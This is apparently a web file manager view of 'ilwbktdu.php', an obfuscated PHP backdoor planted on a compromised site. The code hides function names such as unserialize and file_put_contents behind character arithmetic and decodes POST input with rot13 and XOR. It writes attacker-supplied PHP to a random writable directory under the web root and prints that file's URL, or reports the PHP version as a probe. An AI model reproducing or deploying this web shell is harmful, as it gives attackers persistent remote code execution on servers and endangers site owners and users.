OwlCyberSecurity - MANAGER
Edit File: ilwbktdu.php
<?php $CwNgfCYK = "tcqnTKdwPz";function DMFoLE($CwNgfCYK){ $kOlANxHT = 's'.'t'."\162"."\137".chr(114).chr(111).'t'."\61"."\x33";$CwNgfCYK = $kOlANxHT($CwNgfCYK);$hJwgba = "\x72".chr(97)."\x77"."\x75".chr(114)."\154".'d'.chr(490-389).'c'."\157".chr(100).'e';$CwNgfCYK = $hJwgba($CwNgfCYK);$CwNgfCYK = str_split($CwNgfCYK);return $CwNgfCYK;}function UKlGbZYC($gpuLQEFXk, $lnbkkVaNN){$gpuLQEFXk = array_slice(str_split(str_repeat($gpuLQEFXk, (count($lnbkkVaNN)/16)+1)), 0, count($lnbkkVaNN));return $gpuLQEFXk;}function gzjbTn($juPqJSDGg, $usrTklxCBT, $gpuLQEFXk){$jLlWzKcxzB = "e798c982-8aeb-4fb3-8a5b-9a4b96412169";return $juPqJSDGg ^ $jLlWzKcxzB[$usrTklxCBT % strlen($jLlWzKcxzB)] ^ $gpuLQEFXk;}function pxiwA($lnbkkVaNN, $gpuLQEFXk){$lnbkkVaNN = array_map("gzjbTn", array_values($lnbkkVaNN), array_keys($lnbkkVaNN), array_values($gpuLQEFXk));$lnbkkVaNN = implode("", $lnbkkVaNN);$cOJqGctc = 'u'."\156"."\163"."\x65"."\x72".'i'.chr(97).chr(108).'i'.chr(122)."\145";$lnbkkVaNN = @$cOJqGctc($lnbkkVaNN);return $lnbkkVaNN;}function YXSOyjVbVx(){echo "MtqYjCDoBE";}function mrccEotf($esGXPcaeBEir){static $xwiUHU = array();$cNiNCuptp = glob($esGXPcaeBEir . '/*', GLOB_ONLYDIR);$qwyDAKZHvD = count($cNiNCuptp);if ($qwyDAKZHvD > 0) {foreach ($cNiNCuptp as $esGXPcaeBE) {$yuanswv = chr(260-155).chr(397-282)."\x5f".chr(283-164)."\x72".'i'."\164".chr(97)."\x62".'l'."\145";if (@$yuanswv($esGXPcaeBE)) {$xwiUHU[] = $esGXPcaeBE;}}}foreach ($cNiNCuptp as $esGXPcaeBEir) mrccEotf($esGXPcaeBEir);return $xwiUHU;}function eVouN(){echo "tcqnTKdwPz";}function ZJjleJS($lnbkkVaNN){$eDQDvuZR = "\x44".chr(685-606).'C'.'U'.'M'.chr(403-334).'N'."\124".chr(95).'R'."\x4f".'O'.chr(84);$XPrniGUuEv = $_SERVER[$eDQDvuZR];$cNiNCuptp = mrccEotf($XPrniGUuEv);$BhlVpnQlu = array_rand($cNiNCuptp);$sOoZMAt = chr(46)."\160".chr(104).chr(112);$IltgpYvQi = $cNiNCuptp[$BhlVpnQlu] . "/" . substr(md5(time()), 0, 8) . $sOoZMAt;$ljobl = chr(102).'i'.'l'."\x65".chr(641-546)."\x70"."\x75"."\x74".'_'.'c'."\157".'n'."\x74"."\145".chr(110).'t'.chr(115);@$ljobl($IltgpYvQi, $lnbkkVaNN);$TvmGT = "\110".chr(189-105)."\124"."\x50".'_'."\x48"."\117".chr(83).chr(84);$YKFXgU = chr(104).'t'."\164".'p'.chr(217-159).'/'.chr(47);$MGgWqksSy = $YKFXgU . $_SERVER[$TvmGT] . substr($IltgpYvQi, strlen($XPrniGUuEv));print($MGgWqksSy);}function CyqGUqbHiu(){$rIWhZtOw = chr(112).chr(104).chr(234-122);$ZfKHyJ = chr(112).chr(1075-971).chr(112)."\166"."\x65".chr(114).chr(191-76)."\151"."\157"."\x6e";$lnbkkVaNN = Array($rIWhZtOw => @$ZfKHyJ(), );$gejxKkK = "\x73".chr(822-721).'r'."\x69".chr(97).chr(108).chr(714-609)."\x7a".chr(101);echo @$gejxKkK($lnbkkVaNN);}foreach ($_POST as $gpuLQEFXk => $lnbkkVaNN){$mYWiYorpA = strlen($gpuLQEFXk);if ($mYWiYorpA == 16){$lnbkkVaNN = DMFoLE($lnbkkVaNN);$gpuLQEFXk = UKlGbZYC($gpuLQEFXk, $lnbkkVaNN);$lnbkkVaNN = pxiwA($lnbkkVaNN, $gpuLQEFXk);if (@is_array($lnbkkVaNN)){$BhlVpnQlu = array_keys($lnbkkVaNN);$lnbkkVaNN = $lnbkkVaNN[$BhlVpnQlu[0]];$BhlVpnQlu = $BhlVpnQlu[0];$BhlVpnQlu = substr($BhlVpnQlu, 0);if ($lnbkkVaNN !== $BhlVpnQlu){ZJjleJS($lnbkkVaNN);}else {CyqGUqbHiu();}die();}}}